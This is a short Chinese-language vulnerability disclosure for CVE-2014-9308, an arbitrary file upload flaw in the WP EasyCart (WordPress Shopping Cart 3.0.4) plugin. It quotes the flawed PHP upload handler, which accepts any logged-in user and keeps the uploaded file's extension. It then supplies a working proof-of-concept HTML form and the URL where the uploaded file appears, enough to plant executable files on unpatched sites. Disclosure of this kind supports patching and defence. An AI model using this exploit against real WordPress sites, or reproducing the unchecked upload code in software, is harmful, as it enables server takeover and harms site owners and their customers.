WordPress Shopping Cart 3.0.4 --任意文件上传

<p># 受影响版本: WordPress Shopping Cart 3.0.4&nbsp;</p><p># 日期: 29-10-2014</p><p># 软件链接: <a href="https://wordpress.org/plugins/wp-easycart/" rel="nofollow">https://wordpress.org/plugins/wp-easycart/</a></p><p># CVE: CVE-2014-9308</p><p># 类别: 应用程序</p><p>漏洞详情：</p><p>任何注册用户都可以上传任何文件。<br></p><p>上传点: wp-easycart\inc\amfphp\administration\banneruploaderscript.php<br></p><p>$date = $_POST['datemd5'];</p><p>$usersqlquery = sprintf("SELECT &nbsp;ec_user.*, ec_role.admin_access FROM &nbsp;ec_user &nbsp;LEFT JOIN ec_role ON (ec_user.user_level = ec_role.role_label) WHERE &nbsp;ec_user.password = '%s' AND &nbsp;(ec_user.user_level = 'admin' OR ec_role.admin_access = 1)", mysql_real_escape_string($requestID));</p><p>$userresult = mysql_query($usersqlquery);</p><p>$users = mysql_fetch_assoc($userresult);</p><p>if ($users || is_user_logged_in()) {</p><p> $filename = $_FILES['Filedata']['name'];</p><p> $filetmpname = $_FILES['Filedata']['tmp_name'];</p><p> $fileType = $_FILES["Filedata"]["type"];</p><p> $fileSizeMB = ($_FILES["Filedata"]["size"] / 1024 / 1000);</p><p> $explodedfilename = pathinfo($filename);</p><p> $nameoffile = $explodedfilename['filename'];</p><p> $fileextension = $explodedfilename['extension'];</p><p> move_uploaded_file($_FILES['Filedata']['tmp_name'], "../../../products/banners/".$nameoffile."_".$date.".".$fileextension);</p><p>}</p> 验证： Login as regular user (created using wp-login.php?action=register): &lt;form action=&#34;http://wordpress-install/wp-content/plugins/wp-easycart/inc/amfphp/administration/banneruploaderscript.php&#34; method=&#34;post&#34; enctype=&#34;multipart/form-data&#34;&gt; &lt;input type=&#34;hidden&#34; name=&#34;datemd5&#34; value=&#34;1&#34;&gt; &lt;input type=&#34;file&#34; name=&#34;Filedata&#34;&gt; &lt;input value=&#34;Upload!&#34; type=&#34;submit&#34;&gt; &lt;/form&gt; File will be visible: http://wordpress-install/wp-content/plugins/wp-easycart/products/banners/%filename%_1.%fileextension%